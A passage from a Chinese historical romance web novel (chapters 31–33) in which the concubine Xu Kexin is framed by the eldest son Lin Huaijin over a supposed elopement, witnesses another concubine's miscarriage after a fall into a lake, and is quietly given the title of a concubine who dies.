他分明记得在过去,那笨女人不管走到哪里,都带着那枚玉佩,衣着也格外鲜艳俗气。 林昭明因此以为,全天下的女人都和徐可心一样,也爱珠玉首饰。 在得知长兄四处问人,女人喜欢什么东西时,林昭明信誓旦旦说,挑 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话音刚落,不知道是不是他的错觉,林昭明总觉得大哥看他的眼神很怪,好似要说什么,但最后什么也未说。 林昭明疑心自己看错了,又同他简单闲聊几句,告辞回了国子监。 徐可心在道观里祈福近七日,才被管家叫了回去。 管家说大人如今已经彻底痊愈,命她回宅院,不必在道观祈福,还告诉她大人这几日格外忙碌,让她晚上伺候时小心些,别惹大人不悦。 不知道管家为何告诉她这些,但徐可心一一记在心里,可明显管家多虑了,大人近几日并未去她院中,甚至未回府。 这日天色格外好,下人回来说,一位大臣送来几件东西,其中有一把古琴,做工精良,不似凡品。 “姨娘善琴,不如前去向大人索要?”那人提议道。 徐可心坐在石桌前,抚琴的指尖一顿,闻言轻轻嗯了一声,命他退下。 她如今已经有琴了,不必再惦念旁人的琴,况且长公子答应她,会送琴给她。 她坐在院中石桌前,心上闲适,弹出的曲子也格外舒缓。 忽得门外传来一阵急促脚步声,徐可心循声看去,却见四姨娘迈着大步向院中走来,眸中盛满怒气,“好啊,原来方送到府中的那把琴被你求来了?” 徐可心微微蹙眉,不解道,“姨娘认错了,此琴并非你所说的那把古琴。” 四姨娘快步上前,根本未理会她的话,伸手就要夺过去。 手悬在半空时,却忽得停了下来。 她盯着桌上的古琴,面色古怪,直接质问道,“这琴怎么在你这里?” 见她直愣愣盯着桌上的琴,徐可心面色不解,“姨娘认识这把琴?” 30-40 第31章 不知是被林怀瑾吓到了,还是什么缘由,自从他们二人送琴后,之后几日她的身子都格外不舒服。 不仅吃不下东西,还时常干呕。 没用膳前,心里惦念用膳,用膳后,又迟迟没有胃口,胃里直犯恶心。 她数日少食,身子却未消瘦,反倒腰腹微微隆起。 徐可心疑心自己被林怀瑾吓到了,郁气压身致使身子浮肿,没有过多留心。 冬日临近,每每入了黄昏,夜色都格外漫长,好似等不到天亮一般。 她接连被林昭明和林怀瑾吓到,光是想到他们,心就止不住发颤。 林昭明这段时日忙于科举,无暇来找她,她暂且过了几天安稳日子,但想到林怀瑾还在府上,她又不能真得安心,生怕长公子突然上门,要赶她离府。 除了去给夫人请安,她每日躲在院子里,不敢去后园闲逛,唯恐遇见林怀瑾。 可她不离开听雨阁,但林怀瑾主动前来见她。 “姨娘,长公子正在院外侯着,说要见你。”门外传来丫鬟的声音。 徐可心现在光是听到林怀瑾的名字,心就跳得厉害。 她下意识道,“告诉公子,我近日身子不适,无法招待公子,还请长公子离开。” “这……”丫鬟话语迟疑。 徐可心站起身,正疑心对方为何不回应自己时,熟悉的身影覆压在门上,男人的声音在门外响起,“无意打扰,有人托怀瑾转交给姨娘一封书信。” 之前得他庇佑时,徐 可心认为他的声音格外可靠,眼下一门之隔,她只觉身子微颤,下意识向后退了一步。 她秉着呼吸,用手臂抵唇,假咳几声,“眼下入冬,妾身近日不小心感染风寒,恐染病给公子,公子将信交给丫鬟即可,今日秋风吹得紧,公子快些离开罢,以免受寒。” 她话语不停,生怕林怀瑾站在门外不走。 她的谎言很拙劣,轻咳的两声也算不得真,没有半分难受的病气。 屋外沉默半晌,没有回话。 林怀瑾站在门外,垂着眉眼,隐在袖中的手轻轻摩挲信的边缘。 丫鬟小心地站在他身侧,没有主动索要信。 良久后,迟迟未等到他的回应,屋内的人好似心虚一般,又轻轻低咳几声,闷声催促道,“公子,快将信交给丫鬟罢,你也好快些离开。” 声音很轻,温温柔柔的,细究下去,还能听出几分压在话语间的不满排斥。 好似想赶他离开,但又害怕他,不敢直接说赶他走的话,只能时不时催促几句。 过去她追在昭明身后时,无论昭明对她说多重的话,她也总是温声细语的,一副受气包子的模样,眼下入了府中。 成了父亲的妾室,也全身心依赖父亲,哪怕被人告知父亲得了肺痨,也任劳任怨地守在父亲身侧,好似再也离不开他一般。 细数下来,只有他不曾得过这人的依赖垂青。 他知晓徐可心不想见他,但莫名地,他不想同往日那般,直接离开。 林怀瑾站在门外,既没有回应她的话,也没有转交书信。 片刻后,屋内传来略微不安的脚步声,“将书信转交给丫鬟,公子也快离开罢……” 对方的声音明显焦急,甚至带着几分恳求的意味,直到此刻,林怀瑾才拿出袖中的书信,交给一旁的丫鬟,转身离了听雨阁。 知晓他走后,徐可心才开门拿过书信。 方才只顾着催林怀瑾离开,未仔细深想谁会写信给她。 徐可心面色不解,拆开书信,只读了不到十几个字,她就慌乱地阖上书信。 心跳得格外快,她捂着心口,待心绪平复些许才继续读下去。 她何曾想过,写信给她的人是孙公子,信上的话更是匪夷所思,对方竟然说已经在京中置办宅邸,让她离开林府住在那里,不要继续给大人做妾。 徐可心仔细回想那日两人的交谈,并未看出孙玉景对她有男女之情,怎么突然送信给她,字里行间又都是让她当外室的意思。 想到这人是长公子的好友,徐可心微微蹙眉,难不成林怀瑾对孙公子说了什么,才让对方写下这封荒唐信。 竟说在三日后子时,有人在府外接应,让她跟着接应的人一起离府。 徐可心走至铜炉前,打开盖子将信扔了进去,干涩呛鼻的焦糊味霎时在屋内蔓延,直到信纸彻底燃为灰烬,她紧绷的心弦才骤然一松。 她走至门前,命下人传话给长公子,告诉他自己不会离开,让他不要再牵连旁人。 若她真得答应孙公子同他离开,才真得是误入歧途。 她如今是首辅林大人的妾室,私自同男人离府,与私奔有何异处,先不说大人是否会追究,若有人告到官府那里,她怕是要被扣上通奸的罪名,被官府处以极刑。 徐可心左思右想,都不明白他们二人无冤无仇,孙玉景为何要害她。 之后三日,徐可心都惴惴不安的,生怕他们做什么混账事。 到了信中约定那日,管家说大人在宫中处理政务,今夜不会回府。 不知为何,徐可心得了这个传讯后,心跳得格外厉害,隐隐不安,只觉有什么事要发生。 她害怕得紧,临睡前叫来小妹,让她陪自己睡,又命丫鬟小厮守在门外,不要离开。 屋内,徐念安捧着被子,乖乖躺在床里侧,一双浑圆的眸子在夜色下格外亮,“阿姐今夜为何要同念安一起睡?” 徐可心坐在床边,抬手轻抚她鬓间的长发,恐她担忧,没有告诉她书信的事情,只让她快些入睡。 徐念安微微点头,攥着她的衣摆向里侧挪了挪,留给她大片空位。 徐可心吹灭烛火,有小妹陪在身侧,心上的不安稍稍褪去些许,揽着小妹的肩膀阖上眼皮,小妹微微挪动身子,在她怀里寻了个舒服的姿势。 临近子时,院外忽得传来一阵喊叫声。 徐可心今夜有心事,睡得很浅,霎时清醒。 她坐起身,让守夜的丫鬟去打探方才发生何事,过了良久,丫鬟回来说,三姨娘院中的下人撞见一个贼人,已经抓住了,恰巧大人回府,贼人已经被送到大人那里了。 徐可心眸色微怔,不安再次袭上心头,她紧攥被子,无论如何都无法入睡。 小妹被吵醒,揉着眼睛不解问,“阿姐,你怎么醒了?” 徐可心抚了抚她的侧脸,让她先睡,自己则站起身,穿上外衣坐在桌前。 又过了不知多久,屋外忽然传来急促的脚步声,小厮在门外道,“姨娘,大人唤你去书房。” 徐可心紧抿着唇,虽知晓那贼人同自己有关,但真真切切被牵连后,她还是忍不住在心上怪起了长公子。 对方眼下不是想要赶她离开,长公子分明是要害死她。 她深呼口气,穿上外衣,跟在小厮后面去了书房。 去的路上,她心上不安,忍不住问被抓到人的身份,小厮嘶了一声,微微摇头,“小人不知,不过……大人方才命人传唤,让孙大人携子上门,想必那贼人和孙家有关系。” 听到他的后半句话,徐可心霎时停下脚步,僵着身子站在原地。 小厮回头不解地看她,徐可心紧攥袖子,身正不怕影子斜,她未曾答应孙玉景的话,今夜留在听雨阁,也未同人私奔,思及此,她勉强稳了稳心神,让小厮带路。 方踏进书院,书房的门被打开,一个头发凌乱身着朝服的老者扯着孙玉景的衣领走了出来,老者身上的衣服松松垮垮的,并不规整,明显是被人刚从被中拽出来的,甚至未给他仔细更衣的时间,就命他上门。 老者面上满是怒气,一双眸子喷火似的。孙玉景被他扯着衣领,不满道,“父亲!你快松开我!” “松开?你就是个畜生……” 孙大人刚说半截话,又连忙止住话头,低声咬牙道,“等回了府中,看老夫今夜不打死你个不孝子!” 眼见两人越走越近,徐可心微微挪开步子,垂着眉眼,不想让两人注意到她。 擦肩而过时,耳边忽得传来孙玉景的呼喊声,“徐姨娘!” 徐可心脚步一顿,复又低下头,没有理会他的话,快步向书房走去。 她想避开孙玉景,但孙玉景未想放过她,用力挣脱孙大人的手,快步跑了过来直接拦在她面前,冷声质问道,“你不是已经答应了离开林府,说林大人虐待你,不想再做林大人的妾室,可为何今夜没有前去?你这女人怎么满嘴谎话!” 徐可心面色紧绷,“孙公子勿要胡言,妾身何曾答应过你要同你离开。” “既然不答应,你又为何回信给我?徐姨娘,本以为你是个受人欺负的柔弱女子,没想到你就是个活脱脱的大骗子!怪我看错了你!” “我当初就不该为你斫琴,也不应想着将你救出苦海,你……你……” “你就是个辜负真心的坏女人!” 孙玉景面色难看,站在书房门前大骂一通,不等孙大人上前带走他,他自己就跑走了。 徐可心站在原地,被他平白冤枉,也气得浑身抖动,她紧抿着唇,过了良久才堪堪平复思绪。 她方要向书房走去,却见不知何时,大人身着朝服站在书房门前,眼底没有情绪地望着她,不知是否听到了孙玉景的胡话。 心跳一滞,徐可心慌乱上前,顾不得孙大人还在院中,直接扑进男人怀里,声音哽咽道,“大人,妾身不曾想过离府,妾身只想一直留在大人身边。” 她埋首在男人怀里,紧紧环住男人的后背,分明来之前怕他责罚自己,可一见到他,委屈比害怕先一步袭上心头,直接趴在他怀里哭了起来。 她恨透林怀瑾了。 林远舟站在门前,任由她抱着自己哭得泣不成声,面上没有情绪,也看不出他到底是否生气。 孙大人站在院中,小心回头看了两人一眼,躬着身子向林远舟费力行礼,保证说回去后一定严惩自己的孽子,才告辞离开。 书房内。 徐可心站在男人身侧,扯着他的衣服用帕子擦着眼泪,林远舟揽着她的腰,只看着手中公文,也未审问她什么。 过了半晌,脚步声在门外响起。 “大人,长公子来了。” 徐可心不想看到林怀瑾,直接转过身子,背对着门外站着,手指也不自觉攥紧,胸脯起伏不停,一副被气急了的模样。 林远舟淡淡瞥了她一眼,放下手中公文。 “父亲。”林怀瑾推门走进,俯身行礼。 好似知晓方才发生何事,他面色平静,没有半分异样。 “孙公子说,是怀瑾代他转交的书信,不知怀瑾又是否知晓,孙公子试图带徐姨娘私奔一事?” 林远舟语气淡漠,不紧不慢地审问。 话音刚落,未等林怀瑾先说什么,徐可心先不满地唤了一声大人,她分明没有答应孙玉景,也不曾想过同人私奔离府。 林远舟垂着眉眼,漫不经心地靠在座椅上,攥着她的手腕,没有理会她的话。 徐可心紧抿着唇,未再开口。 她不曾做过此事,也不怕大人审问,徐可心正想着等下如何同大人解释时,站在不远处的林怀瑾不紧不慢道,“父亲,孙公子所言千真万确,徐姨娘不愿留在府中做妾,得知公子想要帮她离府后,同孙公子约定在今夜离府。” 他话语没有起伏,话落的瞬间,徐可心的面色霎时惨白,没有一丝血色。 原来真是这人的主意。 她知晓长公子一直想要赶她离开,但不曾想过长公子会在大人公然说假话。 徐可心浑身血液冷凝,慌乱地看向身侧的男人,却见他半阖眉眼,不知有没有信林怀瑾的话。 徐可心秉着呼吸,只觉心跳加快,几乎快要喘不过气。 第32章 徐可心站在男人身侧,不可置信地看向不远处的林怀瑾,又看向坐在自己身侧的林远舟,慌乱道,“大人,妾身不曾想要离开。” 她屈膝跪在地上,连忙攥住林远舟的手。 她方被孙玉景谴责,同他哭了许久,才堪堪平复思绪止住眼中的泪水,眼下又被林怀瑾冤枉,眼眶再次酸胀。 徐可心环着男人的腰背,埋首在他腿上哭得泣不成声。 林远舟垂眸俯视她,良久后抚上她的侧脸,用温热的指腹擦掉她眼尾的泪水。 徐可心声音哽咽,把那日送琴的事情一五一十地讲了出来。 徐可心知晓她太贪心,想要一把自己的琴,但囊中羞涩,拿不出什么钱,才接受了林怀瑾的谢礼。 她一直羞于同别人提起她的难堪之处,但未想过,林怀瑾借着这把琴,直接扯下她最后的体面。 她心上委屈,抱着男人的手臂用力,哭得太厉害,几次喘不过气,好似窒息一般。 她面色潮红,方才的解释也断断续续的。 一人是自己的长子,一人是自己的妾室。 林远舟垂着眉眼,不紧不慢地为身旁的情人擦干面上的泪水后,抬眸看向不远处的长子。 他知晓他的情人离不开他,性情软弱,也做不出私逃的事情,林远舟一开始就知道,徐可心是被长子冤枉的。 他漫不经心地抚着徐可心的侧脸,不知晓怀瑾为何排斥他的情人。 不仅怀瑾,昭明也不喜她。 可心的确合他心意,他也想把可心留在身边,但也仅此而已。 怀瑾昭明终归是他的儿子,他没必要为了一个妾室同他们生了嫌隙。 既然他的两个长子排斥他,他也只能送走可心。 他不缺女人,没了徐可心,总会有下一个合他心意的女人。 思及此,林远舟收回自己抚在徐可心脸上的手,用帕子不紧不慢擦拭干净手上的泪渍,眼底没有情绪地看了一眼跪在地上眸色委屈的情人,站起身向书房外走去。 没有追问今夜之事到底孰对孰错,只敷衍了事,不愿再追究下去。 他其实心里明白,一切都是长子的手段,但他不想为了一个妾室惩戒他的长子。 林远舟将折叠好的帕子放在桌案上,面部表情地离开书房,留下他们二人。 书房门被关上,砰的一声。 不知晓大人是否信了林怀瑾的话,徐可心跪坐在地上,垂着眼睛用袖子擦拭泪水,心上忐忑不安,害怕大人信了长公子的话赶她走。 她跪坐在地,默默擦着眼泪,片刻后,身旁脚步声响起,越靠越近,最后在她身侧停下。 修长冷白的手握着一张干净帕子,递到她面前。 徐可心紧抿着唇,偏过头不看他,竟是连看他都不想看。 良久后,站在她身侧的男人低声道,“姨娘还不明白,父亲从未在意你,林府没有你想要的容身之处。” 他话语平静,依旧是那副旁观者的冷漠姿态,再一次直白地阐述她寄人篱下的难堪。 徐可心几次被他羞辱,心上早就怨恨林怀瑾,这次又被他冤枉算计,她忍不住抬头,微微蹙眉盯着他,“长公子,你我之间饶是在过去,也不曾有过恩怨,你何故害我?” 入府后,她一直谨言慎行,不奢求他的恩惠,也不想因他受人指点,可长公子屡次陷她于不义之地。 她面色不解,秀眉紧蹙,分明心上压着怒气,但因刚哭过,一双泪眸积蓄着泪,肿胀微红,竟莫名惹人怜惜。 林怀瑾忽然想起,父亲那日说过,意图让徐可心做他的妾室。 他每日公务繁忙,几次推脱婚事,也不曾有通房妾室,那日父亲提起此事,他只觉得胡闹,可现在对上这人梨花带雨的泪眸,不知为何,他的心上竟泛起些许涟漪。 鬼使神差地,林怀瑾单膝跪地,不再俯视这人,而是同她平视,语气平静道,“姨娘,若你离府,怀瑾会为姨娘寻得一处宅邸,每日命人尽心服侍,也会安顿好念安,命人教她学礼,为她择一良婿。” “林府无人接纳你,姨娘继续留在林府只会受人欺辱,可若接受怀瑾的提议,此后经年,怀瑾都会对姨娘负责。” 他不紧不慢陈述,面色也极为平静,但徐可心听完,不仅没有丝毫动容,只觉格外恐怖。 她慌乱挪膝,退离林怀瑾的身侧,强压下心中的畏惧,直白反驳,“公子不要再说胡话了。” “妻妾背夫出逃又改嫁者绞,没有大人的准许,妾身此生只能是大人的妾室,若同你离开,官府不追究倒也相安无事,可官府追究下来,妾身只有死路一条。” 她话语颤抖,气得胸脯起伏不停,她抚着心口,紧紧蹙眉回视面前的男人。 她本以为林怀瑾目光短时,没有多加考虑,可在她说完后,林怀瑾面色如常,只淡声道,“若怀瑾恳求父亲舍弃姨娘,姨娘往后婚嫁与否,也不会受官府追究。” 话音刚落,徐可心的眸子霎时瞪大,微微张唇,良久无言。 这人居然直接承认,要让大人舍弃她。 她早就把大人视为自己的夫君,何曾想过离开,不想再同这人继续说下去,徐可心慌乱起身,逃也是的向书房外跑去。 徐可心何时想过,长公子为了赶走她,竟然能说出这样大逆不道的话。 她真真切切怕了他了。 方出门,还未离开书院,忽觉一阵恶心,她扶着石墙干呕不停,一旁的下人见状,连忙上前,问她可否有事。 怕那疯子追上来,徐可心胡 乱摆手,顾不上心口的恶心,向听雨阁走去。 书房门前,男人面无表情地站在那里,盯着那抹纤瘦的身影,直到她彻底从书院消失。 府中上下闹了一整夜,临到寅时才堪堪安静些许。 不知晓大人到底是否介怀此事,也不知晓他有没有相信林怀瑾的话,徐可心几日几夜担忧此事,吃不下东西,干呕不停,只想同大人好好解释清楚,自己从来没有离开他的心思。 可自从那夜过后,大人就未再来过听雨阁,她去书房见大人,也被拦在门外。 回来的丫鬟说,大人近日一直宿在三姨娘院中。 徐可心这几天本来就身子不舒服,听了丫鬟的传话,怔愣片刻后,倏然俯下身,用帕子捂口,干呕不止。 恰巧徐念安走进屋中,见状快步上前,轻拍她的后背,目光担忧道,“阿姐,还是命郎中过来为阿姐瞧瞧罢。” 徐可心微微摆手,只说不必。 她只是太难过了,心事积压在心口,让她难以喘息,只要同大人表明心意,让大人知晓她的心思,她就能好了。 徐可心垂着眉眼,面上浮现几分愁绪。 徐念安站在一旁,不知晓那夜到底发生何事,只知道阿姐回来后就终日魂不守舍的,好似失了魂一般。 “若阿姐哪里不舒服,一定要告诉念安。”她轻抚徐可心的后背,认真叮嘱道。 徐可心微微点头,没有过多在意她的话,也未把自己身子的不适放在心上,只认为这是心病,心结打开就会痊愈。 正院。 这日请安时,她坐在自己的座位,摩挲杯盏,良久无言,依旧是那副心不在焉的模样。 她本来性子就闷,这几日又失了大人的喜欢,四姨娘也不再存心为难她,反而把目光放在三姨娘身上。 三姨娘说话夹枪带棒,四姨娘又是个任性的主,两人时常在正堂吵起来,之后不欢而散。 昨夜大人又去了三姨娘那里,按照惯例,她依旧晚来一步,没有同往日那般早早前来请安。 徐可心正想着怎么才能求见大人时,坐在一旁的四姨娘不满道,“你不是惯会在床上使用一些下流手段吗?怎么还留不住大人?” 四姨娘话语直白,紧紧盯着她。 她有心事,不想同四姨娘争执,垂着眉眼没有理会四姨娘。 四姨娘面上带着怒气,好似也未期待她能说出什么反驳的话,又看向大夫人,冷声斥责,“夫人,三姨娘过去对你谄媚讨好,现在才得了几天大人的宠爱,就得宠忘形,不及时前来给夫人请安,若人人像她这样,府中还有规矩可言吗?” “夫人定要重重责罚她,才好让她记得尊卑。”四姨娘话语不停,趁着三姨娘不在,公然谴责她。 大夫人未理会她的话,眼也不抬地揉着额心,令她安静,并未在意她话里的挑拨。 大夫人未说责罚三姨娘,四姨娘见状负气闭嘴。 过了良久,门外才传来一阵脚步声。 “是妾身来得晚了,还望夫人勿要怪罪。” 徐可心抬眸看去,却见三姨娘面带笑意,不紧不慢走入堂中,面上没有丝毫迟来的愧意。 她走至堂中,俯身行礼后,拿往日的话敷衍解释几句,就向自己的座位走去。 大夫人未在意她迟来,四姨娘却指责道,“三姐,你一次来得晚,说是大人的准许也就罢了,可你这几日天天晚来,你心里还有夫人吗?” “我见五姨娘得宠时,也未像你这般恃宠而骄。” 未曾想过她能提到自己,徐可心低垂着头,没有多言。 三姨娘被她当众指责,面上笑意不变,未同往日那般拿大人的准许推脱,她不紧不慢抬手,隔着衣服抚上自己的腹部,轻笑道,“四妹言重了,我也不想晚来,可三姐眼下身子金贵,难以早早前来给夫人请安。” “在座各位有所不知,昨日郎中为我诊脉,你们猜怎么着?”她素来喜欢卖着关子,除了四姨娘以外,无人理会她的话。 “怎么?难不成得了绝症?”四姨娘蹙眉追问。 三姨娘轻笑一声,未在意她的冒犯,直白道,“郎中诊脉后,说妾身怀孕了。” 短短一句话,好似晴天霹雳,落在堂内众人心上。 众人霎时抬头,目光一齐落在她身上,饶是置身事外的大夫人,也紧紧盯着她。 第33章 三姨娘抚着腹部,好似未看到众人的面色,笑着自顾自道,“我这几日时常犯恶心,也吃不下东西,想着自己可能怀有身孕,便请郎中请来为我诊脉,没想到真得有喜了。” 她话语不停,面上满是喜悦。 正堂之中,除了三姨娘和她身旁的丫鬟以外,旁人都笑不出来。 “这才怀上,你高兴个什么劲,生下来才是本事,不然不就是一滩血肉?”四姨娘面色紧绷,翻了个白眼嘲讽道。 “你……” 三姨娘面上笑容一僵,嘴角的笑容收敛些许,“四妹说的是,生下来才是本事,可不管怎么说,我也被郎中诊过脉,真真切切怀有身孕,不像有些人,自诩受宠,肚子里一年半载也没个动静。” 四姨娘气急,“你说谁肚子里没动静?” 三姨娘莞尔一笑,“三姐说旁人呢,又未说四妹,四妹急什么?” “郎中说我怀有身孕,我才发觉,这肚子里的孩子格外闹腾,兴许怀的是个公子。” 四姨娘的脸色越难堪,三姨娘说得越起劲,丝毫未注意到堂内其他人的面色。 徐可心坐在一旁听了半晌,抬手抚上自己的腹部,眸色微怔。 两人争吵不休,大夫人忽得开口,命她们都退下。 徐可心起身,离开前向大夫人行礼,良久未得到回应,她抬眼看去,却见大夫人直直盯着一处看,她顺着大夫人的目光看过去,目光最后落在离开的三姨娘身上。 她面色不解,回过头,却见大夫人不知何时正盯着她,眸色黑沉带着审视。 分明青天白日,但莫名让人脊背生寒。 徐可心眸色一怔,微微行礼后退了出去。 听雨阁。 用午膳时,她依旧时不时感到恶心,吐又吐不出来东西。 不自觉想起正堂内三姨娘说过的话,她喃声道,“难不成……也怀上了。” “什么怀上?谁怀上了?”小妹坐在一旁攥着筷子,随口追问。 徐可心微微摇头,告诉她三姨娘如今怀有身孕,让她不要四处跑动,以免冲撞三姨娘。 徐念安夹起一块肉吃了进去,脸颊微微鼓起,嘟囔道,“知道了阿姐。” 入夜后,徐可心抚着肚子,怎么都无法入寝。 教坊司的嬷嬷告诉她们说,若生了孩子,不知晓亲父,就会被打掉。 没有母亲在身边,她第一次怀有身孕,心上不自觉生出怯意,不知晓要做什么,也不知道应该去做什么。 她好似也未想过,若是生了孩子,应如何照看。 但无论怎么想,畏惧也好,无措也好,若真怀有身孕,她总要将肚子里的孩子好好抚养长大。 大人说过,怀了便生下。 徐可心垂着眉眼,捂着腹部,不自觉轻叹,也不知道大人会不会接受这个孩子。 在床上翻来覆去思索良久,她才入睡。 隔天一早,她早早醒来,前去给夫人请安。 回来时路过后园,她正想去请郎中时,远处忽然传来一阵呼喊声。 “不好了!快来人啊!三姨娘落水了!” “快来人啊!” 她脚步一顿,循声走了过去,却见三姨娘落入水里,在水中不停地扑救,她的丫鬟焦急地呼喊,四姨娘和随身丫鬟也站在岸边,未等三姨娘被救下,就慌乱离开了。 一个小厮匆匆赶到,跳进水中要救三姨娘,可不知道怎么回事,分明已经拽到人了,却迟迟拉不上来,好似在水下有什么东西抓住了三姨娘,让她无法脱身,她惊恐地扯着小厮的衣服不撒手,小厮费尽力气又扯不动她,临到最后,两人一起沉入水中。 临近冬日,湖水冰冷,没有一丝暖意,若是落入水中,难免不会受寒,更何况三姨娘怀有身 孕。 水中两人彻底沉了下去,等被救上来时,小厮面色苍白肿胀,险些窒息而死,很快被救下。 三姨娘脸色发青,未立刻醒来,被人匆匆抱了回去。 徐可心站在假山后,只觉心跳得厉害,双腿几乎失去知觉。 莫名觉得不对劲,她没有久留,也未去看望三姨娘,快步回了听雨阁。 不知晓三姨娘是否醒来,她心神不宁,一直惦念此事,也未去请郎中。 临近未时,派去的丫鬟才匆匆赶了回来,进门时阖上门。 “为何才回来,三姨娘可醒来?”徐可心站起身,面色不解。 丫鬟轻声道,“三姨娘被送回院子后,请来郎中医治,侥幸捡回来一条命,已经醒来了,但……” 徐可心紧抿着唇,“但什么?” “胎停了。”丫鬟淡声道。 昨日才说怀有身孕,今日孩子就没了。 徐可心眸色怔然,良久无言。 “好端端地怎么会落水……”落水后,又好似被水鬼扯住一般,怎么也无法逃离,甚至连带着救她的小厮一起沉入水中。 她想不清楚缘由,丫鬟站在一旁,闻言回禀道,“三姨娘的丫鬟说,是四姨娘推三姨娘入水,大夫人已经命人将四姨娘关押至柴房了,等老爷回来后再做定夺。” “四姨娘?” 她方才的确看到四姨娘站在岸边,但赶去时,三姨娘已经落水了,徐可心也不知道究竟是不是四姨娘将三姨娘推入水中。 她只觉太过恐怖。 一切发生得都太快了,好似蓄意为之,又处处透着蹊跷。 临近亥时,她又一次失眠,躺在床上无论如何无法入睡,一闭上眼睛,三姨娘在水中挣扎的情景就在眼前浮现,挥之不去。 她紧攥着被子,心也格外沉闷。 忽得门外传来脚步声,徐可心以为是守夜的丫鬟,没有过多在意,等那人走到门前,颀长的身影落在窗纸上时,她才倏然起身。 房门被推开,徐可心快步上前,却见数日不见的男人推门走进,眼底没有情绪。 她不管不顾地扑进林远舟怀里,环着他的腰背,唤了一声大人。 三姨娘刚怀有身孕没几日,胎就停了。 她小心窥着男人的神色,恐他伤神,未同往日那般主动讨好他,只温顺地埋首在他怀里。 对方今夜前来好似也不是为了同她欢好,林远舟坐在床前,只揽着她的腰,不知道再想什么。 就在她昏昏欲睡时,听到身旁男人问她,可否想要离开。 徐可心几夜没睡过好觉,眼下靠在他怀里,头也昏昏沉沉的,闻言霎时清醒,环住他的手臂用力,用脸轻蹭他的肩膀,在他耳边含糊道,“不想离开,想一直留在大人身边。” 过了良久,耳边才响起一声意味不明的嗯。 之后他未再说什么,只漫不经心地揽着她的腰。 她的院子临近书房,不远处是春熙斋,不知道是不是她的错觉,她依稀听见女人的呼喊声,好似是四姨娘。 她半抬眼皮,方要起身,一只手覆在她的耳上。 温热的掌心贴着她的脸颊,徐可心下意识握住他的手腕,用脸颊蹭着他的手心,阖上眼皮再次睡了过去。 一开始还能听见些许风声和杂声,到了最后,一切都听不见了。 整个夜里,她伏在男人的怀里睡得很沉,再醒来时,人已经走了。 大人愿意来见她,她终于松了一口气。 她下床更衣,梳妆时,丫鬟拿着两根簪子,温声道,“四姨娘,今日要佩戴哪只?” “你说什么?”徐可心望着铜镜里丫鬟的脸,眸色微怔。 丫鬟又重复了一遍,“奴婢问姨娘,今日要佩戴哪只簪子。” “不是……我是问你,方才唤我什么?”徐可心追问。 她疑心自己听错了,可在她问出口后,丫鬟轻声道,“奴婢唤你四姨娘。” 她的声音很轻,但格外清晰。 徐可心顿觉脊背发寒,连忙回头看她,“四姨娘不是在柴房吗?你为何唤我四姨娘?” 好似事先预料到她的反应,丫鬟不紧不慢解释,“春熙斋那位昨夜已经死了,你现在就是四姨娘。” 死了…… 徐可心眸子瞪大,良久没有回神。 她忽然想起昨夜听到女人的哭喊声,她没听错,那人就是四姨娘。 去请安的路上,徐可心魂不守舍地走进堂中,心绪复杂如麻。 昨日三姨娘落水,没过多久胎就停了,等入了夜,四姨娘也死了。 正堂内。 她方要走向自己一直坐的木椅,随身的丫鬟轻轻扯了一下她的袖子,将她拽到四姨娘的座位。 徐可心僵硬落座,挨到木椅的一瞬间,只觉浑身不适,好似被人下了降头一般,面色微微泛白。 过了半晌,三姨娘前来请安,她面色惨白,没有一丝血色,眼底也失了些许光彩,好似被吓到了。 徐可心没想到三姨娘能前来请安,没了腹中的孩子做说辞,今日的三姨娘明显不似往日那般话多,人格外沉默。 徐可心紧抿着唇,不知道应说什么,她看向大夫人和二姨娘,期待她们的面上同她一样,露出担忧的神色,可一无所获。 两人的面色格外平静,好似早就知道会发生此事,已经习以为常。 饶是她今日坐在四姨娘的位置,她们的面上也未露出多少意外之色。 徐可心沉默良久,目光落在坐在自己对面的二姨娘身上,忽然意识到一件事情。 二姨娘可能也不是原来的二姨娘。 今日堂内的气氛格外死寂,令人脊背生寒。 请安后,徐可心方离了正院,就快步回了听雨阁,直到彻底关上门,她内心的恐惧才退了些许。 丫鬟走上前,说等下郎中就会过来。 徐可心下意识道,“不必了,只是受凉罢了。” 丫鬟闻言,也未多说什么,忙于自己手上的活计。 徐可心紧攥袖子,不知为何,她不想被人诊出自己怀有身孕,也不想被人知晓,她可能怀了孩子。 可能是她疑心病作祟,昨日的一切仅仅是巧合而已,但她实在害怕,想等风声平复些,再做打算。 临近午时,院外吵闹声不停,徐可心问发生何事,丫鬟说管家派人来,处理四姨娘的旧物,空出春熙斋。 徐可心沉默半晌,没有再开口。 书房内。 钱管家推门走进,“大人,已经命人收拾干净春熙斋了,京郊的那处宅院也修缮好了,只等四姨娘离府搬过去。” 男人手持文书,未理会他。 钱管家试探道,“大人,那小人现在命人备马车,送四姨娘离府?” 过了半晌,男人才漫不经心地嗯了一声。 钱管家领了命令,离开前小心看了眼男人的面色,见他面色如常,依旧那副不近人情好似不把任何人放在心上的模样,他轻轻叹了口气,阖上门退了出去。 饶是徐姨娘,也捂不热大人的心。 听雨阁。 徐可心命人寻了两本医书过来,仔细读着有喜的征兆,越看心跳得越厉害。 她正忧虑自己是否真得怀有身孕时,门外传来一阵急促的脚步声,她方抬眼看去,房门就被人从外面用力推开。 数日不见的林昭明,穿着一身红衣,瞥了她一眼,直接走到她面前,居高临下俯视她。 林昭明虽未弱冠,但身姿颀长挺拔,眉浓骨深,面色凌厉,早就褪去少年稚气,远远望去少年英姿,令人心生敬意。 可惜这人性情暴戾,行事不择手段,身上的矜贵气硬生生被戾气压了过去,透着生人勿近的冷意,旁人见到他都和见鬼似的,生怕一言不合惹他不快。 她心弦一紧,以为林昭明又要说赶她离府,却听他低声道,“ 我考中了解元。” 徐可心知晓他参加秋闱,面上也未露出多少意外,只僵硬地坐在椅子上,担忧他是否要赶自己离开。 她的反应太过平静,好似与她不相关一般,林昭明面色微沉,复又重复道,“徐可心,我说我考中了解元。” 解元……秋闱第一。 方才徐可心未仔细听,闻言终于有了反应,微微点头,说好。 他少时入了国子监后,因为学识浅薄被人嘲笑,他素来争强好胜,不愿屈居人下,之后刻苦读书,没过多久就获得学士的赏识,把一众京城公子衬托得好似不学无术的酒囊饭袋。 林昭明考中解元也不足为奇。 不过林昭明考中解元与否,和她无关,她只在意对方今日前来是否要赶她离开。 她紧抿着唇面色忐忑,眼底带着毫不掩饰的警惕。 本来兴致冲冲前来的林昭明彻底黑了脸色。 见林昭明的面色愈发难看,徐可心的心也愈发跳得厉害。 过了半晌,林昭明才压着眉眼间的怒气,冷言道,“罢了,你一个深闺妇人,也不知晓解元何意。” 